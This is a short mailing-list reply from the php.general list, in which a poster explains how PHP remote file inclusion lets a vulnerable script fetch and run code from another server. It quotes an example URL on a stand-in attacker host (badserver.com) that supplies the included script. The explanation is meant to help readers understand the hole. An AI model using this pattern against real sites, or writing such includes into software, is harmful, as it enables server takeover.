Re: Fwd: [PHP] Highjack?
| From: | Chris Shiflett | Date: | Tue, 14 Nov 2006 18:39:34 +0000 |
| Subject: | Re: Fwd: [PHP] Highjack? | ||
| References: | 1 2 3 4 5 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-244606@lists.php.net to get a copy of this message | ||
tedd wrote:
> > The script will then include
> > http://www.badserver.com/badscript.txt?dummy=script.php
>
> I still don't see how "badscript.php" can be uploaded into
> example.com's site in the first place
PHP sends a request to badserver.com for badscript.txt, and the content
of the response is included just as if it were the content of a local file.
Hope that helps.
Chris
--
Chris Shiflett
http://shiflett.org/